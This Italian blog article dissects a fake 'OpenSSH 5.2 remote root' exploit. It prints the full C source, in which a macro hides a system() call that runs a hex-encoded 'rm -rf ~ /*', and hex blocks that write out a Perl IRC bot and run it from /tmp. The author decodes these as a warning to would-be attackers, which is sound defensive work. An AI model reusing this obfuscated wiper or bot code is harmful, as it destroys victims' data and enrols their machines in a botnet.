L'exploit che ti exploita


Nel bene o nel male chi comincia a programmare finirà sempre a dare una occhiata alla parte “underground” della stessa: chi perché affascinato, chi perché bisognoso, chi perché voglioso di crear danni, chi per ribellione e chi per gioco.
Parlo della parte “oscura” della programmazione, quella parte orientata allo scoprire bug, quella parte orientata allo sfruttamento di tali bug, la parte “dedicata” alla sicurezza.
Tutti almeno una volta siamo stati affascinati dai bug hunter, dagli exploit e dalle falle ma cosa accadrebbe se il tutto ci si rivoltasse contro?

In questo articolo non vi dirò cosa è un exploit, cosa è uno shellcode, perché e come si fanno, come utilizzarli e chi li produce, per queste cose c’è google.

L’exploit che oggi andremo ad analizzare è un fantomatico 0Day che girava qualche tempo fa su internet che “permetteva di exploitare qualsiasi macchina montasse OpenSSH <= 5.2 in modo remoto”, fantastico no ?
Una vera acquolina per gli script kiddies, per i lamer e un vero grattacapo per i millemila sysadmin sparsi per il pianeta ma la situazione venne ribaltata completamente, vediamo come:

/* 0pen0wn.c by anti-sec group
 * ---------------------------
 * OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
 *
 *
 * Takes advantage of an off-by-one
 * bug in mapped authentication space on system
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
    "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
    "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
        "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

char fbsd_shellcode[] =
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
        "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
        "\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
        "\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff       
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
        printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
        printf("  Usage: %s -h <host> -p port\n",arg);
        printf("  Options:\n");
        printf("  \t-h ip/host of target\n");
        printf("  \t-p port\n");
        printf("  \t-d username\n");
        printf("  \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
    FILE *jmpinst;
    char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
    int port=23, limit=8, target=0, sock;
    struct hostent *host;
    struct sockaddr_in addr;

    if (geteuid()) {
    puts("need root for raw socket, etc...");
    return 1;
    }

    if(argc < 3){
        usage(argv[0]);
        return 1;
    }

    printf("\n  [+] 0wn0wn - by anti-sec group\n");

       if (!inet_aton(h, &addr.sin_addr)){
        host = gethostbyname(h);
        if (!host){
            printf("  [-] Resolving failed\n");
            return 1;
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;
    }

    sock = socket(PF_INET, SOCK_STREAM, 0);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
        printf("  [-] Connecting failed\n");
        return 1;
    }
    payload = malloc(limit * 10000);
    ptr = payload+8;
    memcpy(ptr,jmpcode,strlen(jmpcode));
    jmpinst=fopen(shellcode+793,"w+");
    if(jmpinst){
        fseek(jmpinst,0,SEEK_SET);
        fprintf(jmpinst,"%s",shellcode);
        fclose(jmpinst);
    }
    ptr += strlen(jmpcode);
    if(target != 5 && target != 6){
        memcpy(ptr,shellcode,strlen(shellcode));
        ptr += strlen(shellcode);
        memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
    }
    else{
        memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
        ptr += strlen(fbsd_shellcode);
        memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
    }
    send(sock,buffer,strlen(buffer),0);
    send(sock,ptr,3750,0);
    close(sock);
    if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == -1) {
        printf("  [-] connecting failed\n");              
    }

    payload[sizeof(payload)-1] = '\0';
    payload[sizeof(payload)-2] = '\0';
    send(sock,buffer,strlen(buffer),0);
    send(sock,payload,strlen(payload),0);
    close(sock);
    free(payload);
    addr.sin_port = htons(6666);
    if(connect(sock, (struct sockaddr*)&addr, sizeof(addr))  == 0) {
                   /* v--- our cool bar that says: "r0000000t!!!" */
        printf("\n  [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
        fremote("PS1='sh-3.2#' /bin/sh");
    }
    else
        printf("  [-] failed to exploit target :-(\n");
    close(sock);
    return 0;
}

Fantastico, no ?
Un programma in C da compilare in un baleno, uhm vediamolo così in modo superficiale:

  • Ha gli shellcode, sembra un normale exploit…
  • Uhm, dall’usage possiamo vedere che ci sono semplici opzioni, nulla di complicato
  • C’è bisogno dei permessi di root per eseguirlo…
  • Usa i socket, è un expluà remoto, nulla di strano
  • Ecco fatto, una volta dentro imposta il PS1 e siamo dentro

Be’ allora voi direte “e quindi a che serve ‘sto articolo?”
Giusto, ad una prima occhiata sembra tutto apposto, no ? NO!

Cominciamo ad analizzare bene il primo shellcode: \x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26, ora dobbiamo togliere i \x dalla stringa in questione (io ho messo il tutto in un file e con sed -e 's/\x//g' ho risolto {oppure fatelo a mano, babbani}) avendo alla fine: 726D202D7266207e202F2A20323e202f6465762f6e756c6c2026
Dopo di ciò basta convertire il tutto da esadecimale a testo normale e KABOOM: rm -rf ~ /* 2> /dev/null &
Cosa che cosa ? Avete capito bene, quello shellcode se eseguito cancella ogni cosa all’interno della nostra ~ ($HOME) e ogni cosa in /* (la root) redirezionando l’output a null.
Cioè se il programma eseguisse una cosa del genere vi ritrovereste la vostra linux box vuota senza neanche accorgervene. (ricordate i permessi di root?)
Ma non fermiamoci a queste piccolezze, andiamo avanti.
Facciamo la stessa cosa con gli altri 2 shellcode

"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"

Ricorro alle mie solite magie e levo ogni doppio apice ed ogni \x con sed

sed -e 's/"//g'
sed -e 's/\x//g'

Avremo alla fine

23212f7573722f62696e2f7065726c0a246368616e3d2223636e223b0a246b65 223b0a7768696c6520283c24736f636b4720282e2a29242f297b7072696e7420 223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 736c65657020313b0a202020202020206b5c6e223b7d7d7072696e742024736f 636b20224a4f494e20246368616e20246b65795c6e223b7768696c6520283c24 736f636b3e297b696620282f5e50494e4720282e2a29242f297b7072696e7420 23212f7573722f62696e2f7065726c0a23212f7573722f62696e2f7065726c0a 6e223b0a20202020202020202020202023212f7573722f62696e2f7065726c0a 246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 7068706672223b247365727665723d224720282e2a29242f297b7072696e7420 223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 736c65657020313b0a202020202020206b5c6e223b7d7d7072696e742024736f 636b20224a4f494e20246368616e20246b65795c6e223b7768696c6520283c24 736f636b3e297b696620282f5e50494e4720282e2a29242f297b7072696e7420 23212f7573722f62696e2f7065726c0a23212f7573722f62696e2f7065726c0a 6972632e68616d2e64652e65756972632e6e6574223b245349477b5445524d7d 223b0a7768696c6520283c24736f636b223b0a7768696c6520283c24736f636b 6e223b0a202020202020202020202020736c65657020313b0a20202020202020 6e223b0a20202020202020202020202023212f7573722f62696e2f7065726c0a 246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e 4720282e2a29242f297b7072696e74207068706672223b247365727665723d22 6972632e68616d2e64652e65756972632e6e6574223b245349477b5445524d7d 736c65657020313b0a20202020202020736c65657020313b0a20202020202020 223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 736c65657020313b0a2020202020202023212f7573722f62696e2f7065726c0a 246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 7068706672223b247365727665723d226972632e68616d2e64652e6575697263 2e6e6574223b245349477b5445524d7d64202b78202f746d702f686920323e2f 6465762f6e756c6c3b2f746d702f6869223b0a7768696c6520283c24736f636b 6e223b0a202020202020202020202020736c65657020313b0a20202020202020 6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e 4720282e2a29242f297b7072696e7420223b0a7768696c6520283c24736f636b 6e223b0a202020202020202020202020736c65657020313b0a20202020202020 6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e 4720282e2a29242f297b7072696e742023212f7573722f62696e2f7065726c0a

Convertiamolo e…

#!/usr/bin/perl

$chan="#cn";

$ke?";

while (<$sockG (.*)$/){print ?";

while (<$sockn";
    ?sleep 1;
    k\n";}}print $so?ck "JOIN $chan $key\n";while (<$?sock>){if (/^PING (.*)$/){print ?#!/usr/bin/perl
#!/usr/bin/perl

?n";

#!/usr/bin/perl

?$chan="#cn";$key ="fags";$nick="?phpfr";$server="G (.*)$/){print ?";

while (<$sockn";

            ?sleep 1;

       k\n";}}print $so?ck "JOIN $chan $key\n";while (<$?sock>){if (/^PING (.*)$/){print ?#!/usr/bin/perl

#!/usr/bin/perl

?irc.ham.de.euirc.net";$SIG{TERM}?";

while (<$sock";

while (<$sock?n";

            sleep 1;

       ?n";

            #!/usr/bin/perl

?$chan="#cn";$key ="fags";$nick="?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print phpfr";$server="?irc.ham.de.euirc.net";$SIG{TERM}?sleep 1;

       sleep 1;

       ?";

while (<$sockn";

            ?sleep 1;

       #!/usr/bin/perl

?$chan="#cn";$key ="fags";$nick="?phpfr";$server="irc.ham.de.euirc?.net";$SIG{TERM}d +x /tmp/hi 2>/?dev/null;/tmp/hi";

while (<$sock?n";

            sleep 1;

       ?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print ";

while (<$sock?n";

            sleep 1;

       ?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print #!/usr/bin/perl

E bene sì, esce fuori un piccolo script scritto in perl.

Che se analizziamo per bene notiamo connettersi ad un canale IRC remoto, ve lo sareste mai aspettato all’inizio ?

Per il secondo shellcode il tutto è molto simile dandoci questo codice:

";

while (<$sockn";

            ? ="fags";$nick="phpfr";$server="?irc.ham.de.euirc.net";$SIG{TERM}?";

while (<$sock";

while (<$sock?n";

            sleep 1;

       ?n";

            #!/usr/bin/perl

?$chan="#cn";$key ="fags";$nick="?sleep 1;

       #!/usr/bin/perl

?$chan="#cn";$key ="fags";$nick="?phpfr";$server="irc.ham.de.euirc?.net";$SIG{TERM}d +x /tmp/hi 2>/?dev/null;/tmp/hi";

while (<$sock?n";

            sleep 1;

       ?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print ";

while (<$sock?n";

            sleep 1;
       ?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print #!/usr/bin/perl

?#!/usr/bin/perl

$chan="#cn";$key? ="fags";$nick="}}#chmod +x /tmp?/hi 2>/dev/null;/tmp/hi

Analizziamo il codice C, così capiamo un po’ cosa accade

jmpinst=fopen(shellcode+793,"w+");

if(jmpinst){

fseek(jmpinst,0,SEEK_SET);

fprintf(jmpinst,"%s",shellcode);

fclose(jmpinst);

}

Abbiamo saltato una parte inutile e ci fermiamo qui, come vedete viene creato un file, ci posizioniamo all’inizio del file e dentro gli mettiamo il contenuto dello shellcode (lo script in perl)

Dopo di che troviamo questa:

if(target != 5 && target != 6){
    memcpy(ptr,shellcode,strlen(shellcode));
    ptr += strlen(shellcode);
    memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
    memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
    ptr += strlen(fbsd_shellcode);
    memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}

ma dando una occhiata all’inzio del main vediamo che la variabile target è settata a 0 quindi verranno eseguite le prime 3 istruzioni, ma che fanno con ptr ?

Torniamo un po’ indietro:

payload = malloc(limit * 10000);

ptr = payload+8;

memcpy(ptr,jmpcode,strlen(jmpcode));

Vanno a copiare il primo shellcode dentro ptr e poi continuano con il secondo shellcode.

Il restante codice è messo lì per puro caso e per fare “fumo”.

Potete trovare il tutto anche qui, messo a disposizione su gist: https://gist.github.com/dlion/2eb45e2bbe6051f90a21

Questo è uno dei tanti fake exploit che si trovano in rete, paura eh?

Gli utenti che eseguirono l’exploit in questione piansero lacrime amare, ben gli sta, dico io.

Se non si ha le conoscenze per far qualcosa bisogna solo studiare ed imparare piuttosto che servirsi di mezzucci facili per arrivare a degli sporchi obbiettivi.

Gli exploit sono frutto di duro lavoro e sono UTILISSIMI per chi usa tali strumenti per studiare una falla o per imparare ciò che viene chiamata “Sicurezza Informatica”, senza far danni.

Ma MAI e dico MAI devono essere usati per creare danni alle altre persone.

Ma tanto lo so che parlo a vanvera e lo sapete anche voi, il problema è che l’onnipotenza piace a tutti e riuscire a fare determinate cose ci fa sentire “elevati”, “superiori”, degli “dei”.

Be’, volete usare exploit ? Volete “bucare” sistemi complessi ?

Volete “fottere il sistema” ?

Be’ non è facendo danno che farete quelle cose, esistono varie professioni LEGALI per fare ciò: Professione di “Pen Tester”, “Esperto di sicurezza informatica”, “Bug Hunter”.

Tutte professioni che vengono messe a disposizione del prossimo per aiutare il prossimo.

Questi fake exploit sono degli avvertimenti, sono delle punizioni per chi vuole fare il lamer e sentirsi ““hacker”” per un giorno.

Be’ che dire, spero che questo articolo sia in qualche modo “costruttivo”, spero abbiate capito che tutto ciò non è un gioco, non è un passatempo con cui vantarsi con gli amici, studiate ed imparate, è questa la vera strada.

Saluti.